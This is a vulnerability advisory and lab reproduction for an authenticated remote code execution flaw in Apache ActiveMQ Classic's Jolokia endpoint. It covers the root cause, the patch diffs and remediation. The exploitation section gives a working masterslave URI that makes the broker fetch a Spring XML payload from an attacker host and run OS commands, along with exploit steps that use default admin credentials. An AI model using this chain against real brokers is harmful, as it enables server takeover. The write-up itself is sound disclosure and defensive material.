CVE-2026-42588 — Apache ActiveMQ Classic Jolokia addNetworkConnector RCE¶
Published 2026-06-06
Authenticated RCE via JMX-HTTP bridge
Any user with a valid web-console credential can trigger OS-level code execution on the broker host by sending a single crafted HTTP request to the Jolokia endpoint. Default installations ship with credentials admin/admin.
| Field | Detail |
|---|---|
| Project | Apache ActiveMQ |
| Affected component | activemq-broker JAR — Jolokia JMX-HTTP bridge (/api/jolokia/) and BrokerService.addNetworkConnector MBean operation |
| Severity | HIGH |
| CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N (8.1) |
| CWE | CWE-20, CWE-94 |
| Affected versions | activemq-broker < 5.19.7; 6.0.0 – 6.2.5 (same ranges for activemq-all and apache-activemq) |
| Fixed version | 5.19.7, 6.2.6 |
| Advisory | GHSA-hg6c-8mvr-jqc9 |
1. Vulnerability overview¶
Apache ActiveMQ Classic is a widely-deployed Java message broker. Versions before 5.19.7 and the 6.0.0–6.2.5 range include a Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console (default port 8161). Through this endpoint, an attacker with any valid web-console credential (including the default admin/admin account) can invoke the BrokerService.addNetworkConnector(String) MBean operation and achieve arbitrary OS command execution on the broker host.
Root cause¶
The vulnerability is not a flawed algorithm or logic bug. It is two permissive default configuration files shipped with the binary distribution that together expose a powerful, unguarded operation.
assembly/src/release/conf/jolokia-access.xml: Jolokia's operation allow/deny policy. Before the fix, the <allow> block granted <operation>*</operation> on the entire org.apache.activemq:* MBean namespace. The <deny> block covered only the Log4j2 diagnostic MBean, so addNetworkConnector was fully reachable over HTTP.
assembly/src/release/conf/jetty.xml: Jetty's web server configuration. The /api/jolokia/* path was not mapped to the adminSecurityConstraint (the admins-only security constraint), so users with the users role (any valid console account) could reach Jolokia without needing the admin role.
The injection point is BrokerService.addNetworkConnector(String uri). When a URI of the form masterslave:(vm://evilbroker?brokerConfig=xbean:http://attacker.host/payload.xml&create=true,...) is supplied, the masterslave discovery handler passes the inner vm:// URI to the VM transport. The VM transport extracts the brokerConfig query parameter and hands it to XBeanBrokerFactory.createBroker(URI), which calls new ResourceXmlApplicationContext(configURI). Spring fetches the remote XML and instantiates all singleton beans before the broker performs any validation. A bean declared with factory-method="exec" on java.lang.Runtime, or a java.lang.ProcessBuilder bean with init-method="start", executes an OS command in the broker's JVM.
The fix in 5.19.7 and 6.2.6 addresses both files:
jolokia-access.xml: restricts HTTP methods to POST and explicitly denies the dangerous operations.
- <!-- Enforce that an Origin/Referer header is present to prevent CSRF -->
+ <!-- Restrict HTTP methods to POST only -->
+ <http>
+ <method>post</method>
+ </http>
<!-- deny block additions: -->
+ <mbean>
+ <name>org.apache.activemq:type=Broker,brokerName=*</name>
+ <operation>addNetworkConnector</operation>
+ <operation>removeNetworkConnector</operation>
+ <operation>addConnector</operation>
+ <operation>removeConnector</operation>
+ <operation>terminateJVM</operation>
+ <operation>stop</operation>
+ <!-- ... other lifecycle and topology ops ... -->
+ </mbean>
+ <!-- Also deny MLet (remote classloading), JMImplementation, java.lang:Runtime, etc. -->
jetty.xml: gates Jolokia behind the adminSecurityConstraint so only users with the admin role can reach it.
+ <bean id="jolokiaSecurityConstraintMapping"
+ class="org.eclipse.jetty.security.ConstraintMapping">
+ <property name="constraint" ref="adminSecurityConstraint" />
+ <property name="pathSpec" value="/api/jolokia/*" />
+ </bean>
Registered before the broader securityConstraintMapping:
<property name="constraintMappings">
<list>
<ref bean="adminSecurityConstraintMapping" />
+ <ref bean="jolokiaSecurityConstraintMapping" />
<ref bean="securityConstraintMapping" />
</list>
</property>
The patch also adds an InetAccessHandler that restricts the web console to the loopback interface by default, and adds security response headers. After the fix, addNetworkConnector and all other dangerous lifecycle operations are blocked at the Jolokia access-policy layer before the URI string reaches the transport layer.
2. Vulnerable environment¶
The reproduction environment uses two Docker containers on a private bridge network. Environment files are available as env.zip or individually below.
Stack:
| Container | Role | Image | Published port |
|---|---|---|---|
cve-2026-42588-broker |
Vulnerable Apache ActiveMQ Classic 6.1.4 — web console + Jolokia | built from env/Dockerfile.broker | 127.0.0.1:8161 → 8161 |
cve-2026-42588-attacker |
Attacker-controlled HTTP server serving the Spring XML payload | built from env/Dockerfile.attacker | in-network only (port 8888, not published to host) |
The broker image is built from the official apache/activemq-classic:6.1.4 base image with all stock configuration files unmodified. The jolokia-access.xml and jetty.xml files are the same ones shipped in the affected release. The attacker container runs python -m http.server 8888 and serves a bind-mounted directory (env/attacker-www/) that the exploit writes its payload XML into. From inside the bridge network, the broker resolves http://attacker:8888/<file> to reach the attacker's server.
The full compose configuration is in env/docker-compose.yml.
Starting the environment:
How you know the environment is the vulnerable one:
- The broker JAR is
activemq-broker-6.1.4.jar, confirmed by Jolokia'sBrokerVersionattribute (6.1.4), which falls in the affected 6.0.0–6.2.5 range. - The stock
conf/jolokia-access.xmlgrants<operation>*</operation>onorg.apache.activemq:*with no deny rule foraddNetworkConnectorand no POST-only<http>restriction: the pre-patch permissive policy. - The
env/positive-control.shscript (env/positive-control.sh) performs a four-link chain check using an inert Spring XML bean (ajava.lang.String, not an exec bean). It confirms all four links are reachable (the Jolokia endpoint, the policy, the attacker HTTP host, and theResourceXmlApplicationContextsink) without triggering any OS command. A passing result (POSITIVE CONTROL: GREEN — PASS=8 FAIL=0) proves the full exploit chain is present and functional on this host.
3. How to exploit¶
The exploit script is exploit/run.sh (full set: exploit.zip). It mints a fresh per-run nonce, writes a java.lang.ProcessBuilder Spring XML payload into the attacker's web directory, and posts the Jolokia exec request to addNetworkConnector. The broker fetches the payload XML over the bridge network and executes the OS command through ResourceXmlApplicationContext bean instantiation.
Run all steps from the run directory.
Step 1 — Fire the exploit and capture the marker path.
MARKER=$(bash exploit/run.sh http://127.0.0.1:8161 admin:admin "$(pwd)/env/attacker-www" \
| tee /dev/stderr | sed -n 's/^MARKER_PATH=//p')
echo "captured MARKER=$MARKER"
run.sh prints MARKER_PATH=... and NONCE=... lines to stdout. The snippet above captures the marker path into $MARKER. The Jolokia POST should return "value":"NC","status":200, confirming the connector was registered.
URI shape matters
The masterslave:// scheme requires at least two inner URIs, and the VM transport must be told to create a new broker (not attach to the running one). run.sh uses the form:
masterslave:(vm://evil-<nonce>?brokerConfig=xbean:http://attacker:8888/payload-<nonce>.xml&create=true,vm://evil-<nonce>?brokerConfig=xbean:http://attacker:8888/payload-<nonce>.xml&create=true)
A single URI or vm://localhost (which attaches to the running broker) does not trigger XBean instantiation.
Step 2 — Wait for the broker to create the marker, then read it via the independent privileged channel.
for i in $(seq 1 60); do
docker exec cve-2026-42588-broker sh -c "test -f $MARKER" && break
sleep 2
done
docker exec cve-2026-42588-broker sh -c "stat -c '%n owner=%U:%G' $MARKER; echo ---; cat $MARKER"
The broker processes the network connector on its async timer, so the marker typically appears within seconds of the POST. The loop waits up to two minutes.
What proves it worked¶
Verification uses docker exec into the broker container, a privileged channel the exploit itself never touches (the exploit script contains no docker exec call and no direct access to the broker filesystem):
- Marker exists at the path the exploit script reported.
- Owner is
root:root: the broker process runs asrootin the stock image, so a file it creates has that ownership. This confirms the command ran inside the broker JVM, not via any other path. - Content equals the fresh nonce minted for this specific run (e.g.
cve-2026-42588-1780409388-52016-21523). A stale marker from a prior run contains a different nonce and would not match.
Output from the verified run:
/tmp/cve-2026-42588-1780409388-52016-21523.marker owner=root:root
---
cve-2026-42588-1780409388-52016-21523
The broker log confirms the full chain fired:
Establishing network connection from vm://localhost to
failover:(vm://evil-1780409388-52016-6800?brokerConfig=xbean:http://attacker:8888/payload-<nonce>.xml&create=true,...)
The attacker HTTP server log shows the broker fetched the payload XML:
The exploit has no way to fabricate a root-owned file inside the broker container over its HTTP/Jolokia surface, so the presence of the matching marker confirms the addNetworkConnector → VM-transport brokerConfig → remote-XBean-XML bean instantiation chain executed an OS command in the broker's JVM.
Environment teardown¶
docker compose -f env/docker-compose.yml down -v
# optional image cleanup:
# docker image rm cve-2026-42588-broker:6.1.4 cve-2026-42588-attacker:latest
4. Security advice¶
Remediation¶
Upgrade to Apache ActiveMQ Classic 5.19.7 (5.x line) or 6.2.6 (6.x line). Both releases replace the permissive default jolokia-access.xml and jetty.xml with hardened versions: addNetworkConnector and related lifecycle operations are explicitly denied at the Jolokia policy layer, Jolokia is gated behind the admin role, the web console is restricted to loopback by default, and security headers are added.
Mitigations if immediate upgrade is not possible¶
- Block
addNetworkConnectorinjolokia-access.xml: add an explicit<deny>entry foraddNetworkConnector,addConnector, and all other lifecycle operations underorg.apache.activemq:type=Broker,brokerName=*in your running broker'sconf/jolokia-access.xml. Also add a<http><method>post</method></http>restriction. - Require
adminrole for Jolokia: injetty.xml, add aConstraintMappingfor/api/jolokia/*pointing at theadminSecurityConstraint, placed before the broadersecurityConstraintMapping. - Restrict web console to loopback: add an
InetAccessHandleror firewall rule so port 8161 is not reachable from untrusted networks. - Change default credentials: this does not eliminate the vulnerability (any authenticated user suffices), but the default
admin/adminmakes exploitation trivial on unmodified installations. - Network egress filtering on the broker host: blocking outbound HTTP from the broker host prevents it from fetching the attacker-controlled Spring XML, breaking the injection chain even if the Jolokia call succeeds.
References¶
- NVD CVE-2026-42588: identity, CVSS, CWE, affected versions
- GHSA-hg6c-8mvr-jqc9: GHSA advisory with affected and fixed versions (authoritative)
- Apache Mailing List announcement: official vendor advisory and reporter credit (pyn3rd, uname, 4ra1n)
- OSS-Security post: public disclosure
- Apache ActiveMQ security advisory text: affected version list
- Fix PR #2025 (main branch): primary patch, commit
052369f00a43757e3694abbbe6d0c1a8e72fa4d5 - Backport PR #2038 (activemq-5.19.x): merge commit
66efdf121466324f037e1f91330866d51d28fd74 - Backport PR #2037 (activemq-6.2.x): merge commit
be8415f248d3